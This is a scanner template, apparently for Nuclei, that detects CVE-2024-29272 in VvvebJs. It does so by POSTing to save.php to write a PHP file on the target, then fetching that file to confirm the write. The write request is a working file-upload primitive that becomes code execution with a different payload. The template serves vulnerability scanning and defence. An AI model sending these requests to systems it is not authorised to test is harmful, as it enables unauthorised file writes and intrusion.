VvvebJs < 1.7.5 - Arbitrary File Upload

id: CVE-2024-29272

info:
  name: VvvebJs < 1.7.5 - Arbitrary File Upload
  author: s4e-io
  severity: medium
  description: |
    Arbitrary File Upload vulnerability in VvvebJs before version 1.7.5, allows unauthenticated remote attackers to execute arbitrary code and obtain sensitive information via the sanitizeFileName parameter in save.php.
  impact: |
    Attackers can upload malicious files to the server, potentially leading to remote code execution.
  remediation: |
    Update VvvebJs to version 1.7.5 or later.
  reference:
    - https://github.com/awjkjflkwlekfdjs/CVE-2024-29272/
    - https://github.com/givanz/VvvebJs/issues/343
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29272
    - https://vuldb.com/?id.257680
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-29272
    cwe-id: CWE-434
    epss-score: 0.09366
    epss-percentile: 0.94793
    cpe: cpe:2.3:a:vvvebjs:vvvebjs:1.7.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: vvvebjs
    product: vvvebjs
    fofa-query: icon_hash="524332373"
  tags: cve,cve2024,file-upload,intrusive,vuln

variables:
  num: "{{rand_int(1000, 9999)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /save.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        file=demo/landing/index.php&html={{md5(num)}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"File saved")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /demo/landing/index.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"{{md5(num)}}")'
          - 'status_code == 200'
        condition: and
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